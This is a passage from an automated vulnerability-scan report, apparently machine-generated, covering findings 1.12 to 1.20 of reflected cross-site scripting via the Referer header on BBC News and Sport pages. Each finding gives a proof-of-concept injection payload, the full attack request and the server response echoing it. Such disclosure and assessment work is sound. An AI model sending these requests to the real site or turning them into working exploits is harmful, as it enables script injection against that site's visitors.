Set-Cookie: BBC-UID=842d05753e1beb2eca434abbb113ed79b92374ffd06061ff42f9d6a41e0a481c0Mozilla%2f4%2e0%20%28compatible%3b%20MSIE%207%2e0%3b%20Windows%20NT%206%2e0%29; expires=Sun, 12-Feb-12 02:09:02 GMT; path=/; domain=bbc.co.uk;
Set-Cookie: BBC-UID=842d05753e1beb2eca434abbb113ed79b92374ffd06061ff42f9d6a41e0a481c0Mozilla%2f4%2e0%20%28compatible%3b%20MSIE%207%2e0%3b%20Windows%20NT%206%2e0%29; expires=Sun, 12-Feb-12 02:09:02 GMT; path=/; domain=bbc.co.uk;
Content-Length: 39094

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xml:lang="en-GB" xmlns="http://www.w3.org/1999/xhtml" lang="en-GB">
<h
...[SNIP]...
<!--
   bbc.fmtj.page = {
       serverTime: 1297476542000,
       editionToServe: 'international',
       queryString: null,
       referrer: 'http://www.google.com/search?hl=en&amp;q=3fe2b'-alert(1)-'899724006c4',
       section: null,
       sectionPath: '/programmes/world_news_america',
       siteName: null,
       siteToServe: 'news',
       siteVersion: '4',
       storyId: '9394994',
       assetType: null,
       uri: '/2/hi/programm
...[SNIP]...

1.12. http://news.bbc.co.uk/earth/hi/earth_news/newsid_9392000/9392070.stm [Referer HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://news.bbc.co.uk
Path:   /earth/hi/earth_news/newsid_9392000/9392070.stm

Issue detail

The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload cdf95'-alert(1)-'69620e99c29 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Request

GET /earth/hi/earth_news/newsid_9392000/9392070.stm HTTP/1.1
Host: news.bbc.co.uk
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Referer: http://www.google.com/search?hl=en&q=cdf95'-alert(1)-'69620e99c29

Response

HTTP/1.1 200 OK
Server: Apache
Cache-Control: max-age=0
Content-Type: text/html
Date: Sat, 12 Feb 2011 02:09:10 GMT
Keep-Alive: timeout=10, max=769
Expires: Sat, 12 Feb 2011 02:09:10 GMT
Connection: close
Set-Cookie: BBC-UID=a45dd5b57e0b1ca629a6e36c4150efc925c88b6d103021cfa2a93614d32e2c4c0Mozilla%2f4%2e0%20%28compatible%3b%20MSIE%207%2e0%3b%20Windows%20NT%206%2e0%29; expires=Sun, 12-Feb-12 02:09:10 GMT; path=/; domain=bbc.co.uk;
Set-Cookie: BBC-UID=a45dd5b57e0b1ca629a6e36c4150efc925c88b6d103021cfa2a93614d32e2c4c0Mozilla%2f4%2e0%20%28compatible%3b%20MSIE%207%2e0%3b%20Windows%20NT%206%2e0%29; expires=Sun, 12-Feb-12 02:09:10 GMT; path=/; domain=bbc.co.uk;
Content-Length: 47103

<!doctype html public "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/REC-html40/loose.dtd">
<html>
<head>
<title>BBC - Earth News - Bizarre mammals filmed calling using their quills<
...[SNIP]...
<!--
   bbc.fmtj.page = {
       serverTime: 1297476550000,
       editionToServe: null,
       queryString: null,
       referrer: 'http://www.google.com/search?hl=en&amp;q=cdf95'-alert(1)-'69620e99c29',
       section: null,
       sectionPath: null,
       siteName: null,
       siteToServe: 'earthnews',
       siteVersion: '4',
       storyId: null,
       assetType: null,
       uri: '/earth/hi/earth_news/newsid_9392000/939207
...[SNIP]...

1.13. http://news.bbc.co.uk/go/rss/int/news/-/2/hi/programmes/world_news_america/9394994.stm [Referer HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://news.bbc.co.uk
Path:   /go/rss/int/news/-/2/hi/programmes/world_news_america/9394994.stm

Issue detail

The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 54ad5'-alert(1)-'d2d8a337677 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Request

GET /go/rss/int/news/-/2/hi/programmes/world_news_america/9394994.stm HTTP/1.1
Host: news.bbc.co.uk
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Referer: http://www.google.com/search?hl=en&q=54ad5'-alert(1)-'d2d8a337677

Response (redirected)

HTTP/1.1 200 OK
Server: Apache
Cache-Control: max-age=0
Content-Type: text/html
Date: Sat, 12 Feb 2011 02:09:25 GMT
Keep-Alive: timeout=10, max=788
Expires: Sat, 12 Feb 2011 02:09:25 GMT
Connection: close
Set-Cookie: BBC-UID=34dda525fe1bbd7546ef6f9f01d0cd6bab923dbf1010a16ff2e97622d31e9e320Mozilla%2f4%2e0%20%28compatible%3b%20MSIE%207%2e0%3b%20Windows%20NT%206%2e0%29; expires=Sun, 12-Feb-12 02:09:25 GMT; path=/; domain=bbc.co.uk;
Set-Cookie: BBC-UID=34dda525fe1bbd7546ef6f9f01d0cd6bab923dbf1010a16ff2e97622d31e9e320Mozilla%2f4%2e0%20%28compatible%3b%20MSIE%207%2e0%3b%20Windows%20NT%206%2e0%29; expires=Sun, 12-Feb-12 02:09:25 GMT; path=/; domain=bbc.co.uk;
Content-Length: 39094

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xml:lang="en-GB" xmlns="http://www.w3.org/1999/xhtml" lang="en-GB">
<h
...[SNIP]...
<!--
   bbc.fmtj.page = {
       serverTime: 1297476565000,
       editionToServe: 'international',
       queryString: null,
       referrer: 'http://www.google.com/search?hl=en&amp;q=54ad5'-alert(1)-'d2d8a337677',
       section: null,
       sectionPath: '/programmes/world_news_america',
       siteName: null,
       siteToServe: 'news',
       siteVersion: '4',
       storyId: '9394994',
       assetType: null,
       uri: '/2/hi/programm
...[SNIP]...

1.14. http://news.bbc.co.uk/go/rss/int/news/-/earth/hi/earth_news/newsid_9392000/9392070.stm [Referer HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://news.bbc.co.uk
Path:   /go/rss/int/news/-/earth/hi/earth_news/newsid_9392000/9392070.stm

Issue detail

The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 4bab7'-alert(1)-'5872d8d4a13 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Request

GET /go/rss/int/news/-/earth/hi/earth_news/newsid_9392000/9392070.stm HTTP/1.1
Host: news.bbc.co.uk
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Referer: http://www.google.com/search?hl=en&q=4bab7'-alert(1)-'5872d8d4a13

Response (redirected)

HTTP/1.1 200 OK
Server: Apache
Cache-Control: max-age=0
Content-Type: text/html
Date: Sat, 12 Feb 2011 02:09:23 GMT
Keep-Alive: timeout=10, max=554
Expires: Sat, 12 Feb 2011 02:09:23 GMT
Connection: close
Set-Cookie: BBC-UID=143dd505eedb0df329d87fd5e1e71e5d589e245ba010e1cf32f9b685a2691a1e0Mozilla%2f4%2e0%20%28compatible%3b%20MSIE%207%2e0%3b%20Windows%20NT%206%2e0%29; expires=Sun, 12-Feb-12 02:09:23 GMT; path=/; domain=bbc.co.uk;
Set-Cookie: BBC-UID=143dd505eedb0df329d87fd5e1e71e5d589e245ba010e1cf32f9b685a2691a1e0Mozilla%2f4%2e0%20%28compatible%3b%20MSIE%207%2e0%3b%20Windows%20NT%206%2e0%29; expires=Sun, 12-Feb-12 02:09:23 GMT; path=/; domain=bbc.co.uk;
Content-Length: 47103

<!doctype html public "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/REC-html40/loose.dtd">
<html>
<head>
<title>BBC - Earth News - Bizarre mammals filmed calling using their quills<
...[SNIP]...
<!--
   bbc.fmtj.page = {
       serverTime: 1297476563000,
       editionToServe: null,
       queryString: null,
       referrer: 'http://www.google.com/search?hl=en&amp;q=4bab7'-alert(1)-'5872d8d4a13',
       section: null,
       sectionPath: null,
       siteName: null,
       siteToServe: 'earthnews',
       siteVersion: '4',
       storyId: null,
       assetType: null,
       uri: '/earth/hi/earth_news/newsid_9392000/939207
...[SNIP]...

1.15. http://news.bbc.co.uk/go/rss/int/news/-/sport2/hi/golf/9394205.stm [Referer HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://news.bbc.co.uk
Path:   /go/rss/int/news/-/sport2/hi/golf/9394205.stm

Issue detail

The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 376fe'-alert(1)-'f552a5928d3 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Request

GET /go/rss/int/news/-/sport2/hi/golf/9394205.stm HTTP/1.1
Host: news.bbc.co.uk
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Referer: http://www.google.com/search?hl=en&q=376fe'-alert(1)-'f552a5928d3

Response (redirected)

HTTP/1.1 200 OK
Server: Apache
Cache-Control: max-age=0
Content-Type: text/html
Date: Sat, 12 Feb 2011 02:09:17 GMT
Keep-Alive: timeout=10, max=792
Expires: Sat, 12 Feb 2011 02:09:17 GMT
Connection: close
Set-Cookie: BBC-UID=04fd9545ce7bfc9d48f6c255b117b998868a62e020b0919ff2d966e5ad84858a0Mozilla%2f4%2e0%20%28compatible%3b%20MSIE%207%2e0%3b%20Windows%20NT%206%2e0%29; expires=Sun, 12-Feb-12 02:09:17 GMT; path=/; domain=bbc.co.uk;
Set-Cookie: BBC-UID=04fd9545ce7bfc9d48f6c255b117b998868a62e020b0919ff2d966e5ad84858a0Mozilla%2f4%2e0%20%28compatible%3b%20MSIE%207%2e0%3b%20Windows%20NT%206%2e0%29; expires=Sun, 12-Feb-12 02:09:17 GMT; path=/; domain=bbc.co.uk;
Content-Length: 53698

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xml:lang="en-GB" xmlns="http://www.w3.org/1999/xhtml" lang="en-GB">
<h
...[SNIP]...
<!--
   bbc.fmtj.page = {
       serverTime: 1297476557000,
       editionToServe: 'international',
       queryString: null,
       referrer: 'http://www.google.com/search?hl=en&amp;q=376fe'-alert(1)-'f552a5928d3',
       section: null,
       sectionPath: '/golf',
       siteName: null,
       siteToServe: 'sport',
       siteVersion: '4',
       storyId: '9394205',
       assetType: null,
       uri: '/sport2/hi/golf/9394205.stm',
       count
...[SNIP]...

1.16. http://news.bbc.co.uk/go/rss/int/news/-/sport2/hi/olympic_games/london_2012/9394490.stm [Referer HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://news.bbc.co.uk
Path:   /go/rss/int/news/-/sport2/hi/olympic_games/london_2012/9394490.stm

Issue detail

The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 61be4'-alert(1)-'49392d78899 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Request

GET /go/rss/int/news/-/sport2/hi/olympic_games/london_2012/9394490.stm HTTP/1.1
Host: news.bbc.co.uk
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Referer: http://www.google.com/search?hl=en&q=61be4'-alert(1)-'49392d78899

Response (redirected)

HTTP/1.1 200 OK
Server: Apache
Cache-Control: max-age=0
Content-Type: text/html
Date: Sat, 12 Feb 2011 02:09:20 GMT
Keep-Alive: timeout=10, max=785
Expires: Sat, 12 Feb 2011 02:09:20 GMT
Connection: close
Set-Cookie: BBC-UID=547df5457eabfd90b65f0ea1416fcc527ba70d5b8080212f4299a692d30ebe420Mozilla%2f4%2e0%20%28compatible%3b%20MSIE%207%2e0%3b%20Windows%20NT%206%2e0%29; expires=Sun, 12-Feb-12 02:09:20 GMT; path=/; domain=bbc.co.uk;
Set-Cookie: BBC-UID=547df5457eabfd90b65f0ea1416fcc527ba70d5b8080212f4299a692d30ebe420Mozilla%2f4%2e0%20%28compatible%3b%20MSIE%207%2e0%3b%20Windows%20NT%206%2e0%29; expires=Sun, 12-Feb-12 02:09:20 GMT; path=/; domain=bbc.co.uk;
Content-Length: 69599

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xml:lang="en-GB" xmlns="http://www.w3.org/1999/xhtml" lang="en-GB">
<h
...[SNIP]...
<!--
   bbc.fmtj.page = {
       serverTime: 1297476560000,
       editionToServe: 'international',
       queryString: null,
       referrer: 'http://www.google.com/search?hl=en&amp;q=61be4'-alert(1)-'49392d78899',
       section: null,
       sectionPath: '/olympic_games/london_2012',
       siteName: null,
       siteToServe: 'sport',
       siteVersion: '4',
       storyId: '9394490',
       assetType: null,
       uri: '/sport2/hi/olympi
...[SNIP]...

1.17. http://news.bbc.co.uk/go/rss/int/news/-/sport2/hi/tennis/9395423.stm [Referer HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://news.bbc.co.uk
Path:   /go/rss/int/news/-/sport2/hi/tennis/9395423.stm

Issue detail

The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload d5cfd'-alert(1)-'a2ae1deb183 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Request

GET /go/rss/int/news/-/sport2/hi/tennis/9395423.stm HTTP/1.1
Host: news.bbc.co.uk
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Referer: http://www.google.com/search?hl=en&q=d5cfd'-alert(1)-'a2ae1deb183

Response (redirected)

HTTP/1.1 200 OK
Server: Apache
Cache-Control: max-age=0
Content-Type: text/html
Date: Sat, 12 Feb 2011 02:09:21 GMT
Keep-Alive: timeout=10, max=794
Expires: Sat, 12 Feb 2011 02:09:21 GMT
Connection: close
Set-Cookie: BBC-UID=e4cd05a5aebb6db18a7c15de81061f57335f0730403011bfb2d996e2ad2ad4ca0Mozilla%2f4%2e0%20%28compatible%3b%20MSIE%207%2e0%3b%20Windows%20NT%206%2e0%29; expires=Sun, 12-Feb-12 02:09:21 GMT; path=/; domain=bbc.co.uk;
Set-Cookie: BBC-UID=e4cd05a5aebb6db18a7c15de81061f57335f0730403011bfb2d996e2ad2ad4ca0Mozilla%2f4%2e0%20%28compatible%3b%20MSIE%207%2e0%3b%20Windows%20NT%206%2e0%29; expires=Sun, 12-Feb-12 02:09:21 GMT; path=/; domain=bbc.co.uk;
Content-Length: 50621

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xml:lang="en-GB" xmlns="http://www.w3.org/1999/xhtml" lang="en-GB">
<h
...[SNIP]...
<!--
   bbc.fmtj.page = {
       serverTime: 1297476561000,
       editionToServe: 'international',
       queryString: null,
       referrer: 'http://www.google.com/search?hl=en&amp;q=d5cfd'-alert(1)-'a2ae1deb183',
       section: null,
       sectionPath: '/tennis',
       siteName: null,
       siteToServe: 'sport',
       siteVersion: '4',
       storyId: '9395423',
       assetType: null,
       uri: '/sport2/hi/tennis/9395423.stm',
       c
...[SNIP]...

1.18. http://news.bbc.co.uk/sport2/hi/golf/9394205.stm [Referer HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://news.bbc.co.uk
Path:   /sport2/hi/golf/9394205.stm

Issue detail

The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 309d0'-alert(1)-'43009583a58 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Request

GET /sport2/hi/golf/9394205.stm HTTP/1.1
Host: news.bbc.co.uk
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Referer: http://www.google.com/search?hl=en&q=309d0'-alert(1)-'43009583a58

Response

HTTP/1.1 200 OK
Server: Apache
Cache-Control: max-age=0
Content-Type: text/html
Date: Sat, 12 Feb 2011 02:09:08 GMT
Keep-Alive: timeout=10, max=687
Expires: Sat, 12 Feb 2011 02:09:08 GMT
Connection: close
Set-Cookie: BBC-UID=a4bd8555ce0b4ca4fa60fd0d119a7042f9ed61f86090e10f0249c6147a1f92aa0Mozilla%2f4%2e0%20%28compatible%3b%20MSIE%207%2e0%3b%20Windows%20NT%206%2e0%29; expires=Sun, 12-Feb-12 02:09:08 GMT; path=/; domain=bbc.co.uk;
Set-Cookie: BBC-UID=a4bd8555ce0b4ca4fa60fd0d119a7042f9ed61f86090e10f0249c6147a1f92aa0Mozilla%2f4%2e0%20%28compatible%3b%20MSIE%207%2e0%3b%20Windows%20NT%206%2e0%29; expires=Sun, 12-Feb-12 02:09:08 GMT; path=/; domain=bbc.co.uk;
Content-Length: 53698

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xml:lang="en-GB" xmlns="http://www.w3.org/1999/xhtml" lang="en-GB">
<h
...[SNIP]...
<!--
   bbc.fmtj.page = {
       serverTime: 1297476548000,
       editionToServe: 'international',
       queryString: null,
       referrer: 'http://www.google.com/search?hl=en&amp;q=309d0'-alert(1)-'43009583a58',
       section: null,
       sectionPath: '/golf',
       siteName: null,
       siteToServe: 'sport',
       siteVersion: '4',
       storyId: '9394205',
       assetType: null,
       uri: '/sport2/hi/golf/9394205.stm',
       count
...[SNIP]...

1.19. http://news.bbc.co.uk/sport2/hi/olympic_games/london_2012/9394490.stm [Referer HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://news.bbc.co.uk
Path:   /sport2/hi/olympic_games/london_2012/9394490.stm

Issue detail

The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 58336'-alert(1)-'d5b0d21e2b1 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Request

GET /sport2/hi/olympic_games/london_2012/9394490.stm HTTP/1.1
Host: news.bbc.co.uk
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Referer: http://www.google.com/search?hl=en&q=58336'-alert(1)-'d5b0d21e2b1

Response

HTTP/1.1 200 OK
Server: Apache
Cache-Control: max-age=0
Content-Type: text/html
Date: Sat, 12 Feb 2011 02:09:10 GMT
Keep-Alive: timeout=10, max=768
Expires: Sat, 12 Feb 2011 02:09:10 GMT
Connection: close
Set-Cookie: BBC-UID=e48dd5f55eeb4c56b973f8b961f842c6393bffda80b0d12f723986746c1a84a00Mozilla%2f4%2e0%20%28compatible%3b%20MSIE%207%2e0%3b%20Windows%20NT%206%2e0%29; expires=Sun, 12-Feb-12 02:09:10 GMT; path=/; domain=bbc.co.uk;
Set-Cookie: BBC-UID=e48dd5f55eeb4c56b973f8b961f842c6393bffda80b0d12f723986746c1a84a00Mozilla%2f4%2e0%20%28compatible%3b%20MSIE%207%2e0%3b%20Windows%20NT%206%2e0%29; expires=Sun, 12-Feb-12 02:09:10 GMT; path=/; domain=bbc.co.uk;
Content-Length: 69599

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xml:lang="en-GB" xmlns="http://www.w3.org/1999/xhtml" lang="en-GB">
<h
...[SNIP]...
<!--
   bbc.fmtj.page = {
       serverTime: 1297476550000,
       editionToServe: 'international',
       queryString: null,
       referrer: 'http://www.google.com/search?hl=en&amp;q=58336'-alert(1)-'d5b0d21e2b1',
       section: null,
       sectionPath: '/olympic_games/london_2012',
       siteName: null,
       siteToServe: 'sport',
       siteVersion: '4',
       storyId: '9394490',
       assetType: null,
       uri: '/sport2/hi/olympi
...[SNIP]...

1.20. http://news.bbc.co.uk/sport2/hi/tennis/9395423.stm [Referer HTTP header]  previous

Summary

Severity:   Low
Confidence:   Certain
Host:   http://news.bbc.co.uk
Path:   /sport2/hi/tennis/9395423.stm

Issue detail

The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload f13b9'-alert(1)-'1777cb5bcc4 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Request

GET /sport2/hi/tennis/9395423.stm HTTP/1.1
Host: news.bbc.co.uk
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Referer: http://www.google.com/search?hl=en&q=f13b9'-alert(1)-'1777cb5bcc4

Response

HTTP/1.1 200 OK
Server: Apache
Cache-Control: max-age=0
Content-Type: text/html
Date: Sat, 12 Feb 2011 02:09:10 GMT
Keep-Alive: timeout=10, max=790
Expires: Sat, 12 Feb 2011 02:09:10 GMT
Connection: close
Set-Cookie: BBC-UID=943dc5a55e9b1c869806b5eec1a5948ce2b6d64cf07001bf2239266333efbe680Mozilla%2f4%2e0%20%28compatible%3b%20MSIE%207%2e0%3b%20Windows%20NT%206%2e0%29; expires=Sun, 12-Feb-12 02:09:10 GMT; path=/; domain=bbc.co.uk;
Set-Cookie: BBC-UID=943dc5a55e9b1c869806b5eec1a5948ce2b6d64cf07001bf2239266333efbe680Mozilla%2f4%2e0%20%28compatible%3b%20MSIE%207%2e0%3b%20Windows%20NT%206%2e0%29; expires=Sun, 12-Feb-12 02:09:10 GMT; path=/; domain=bbc.co.uk;
Content-Length: 50621

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xml:lang="en-GB" xmlns="http://www.w3.org/1999/xhtml" lang="en-GB">
<h
...[SNIP]...
<!--
   bbc.fmtj.page = {
       serverTime: 1297476550000,
       editionToServe: 'international',
       queryString: null,
       referrer: 'http://www.google.com/search?hl=en&amp;q=f13b9'-alert(1)-'1777cb5bcc4',
       section: null,
       sectionPath: '/tennis',
       siteName: null,
       siteToServe: 'sport',
       siteVersion: '4',
       storyId: '9395423',
       assetType: null,
       uri: '/sport2/hi/tennis/9395423.stm',
       c
...[SNIP]...

Report generated by CloudScan Vulnerability Crawler at Mon Feb 14 11:12:25 CST 2011.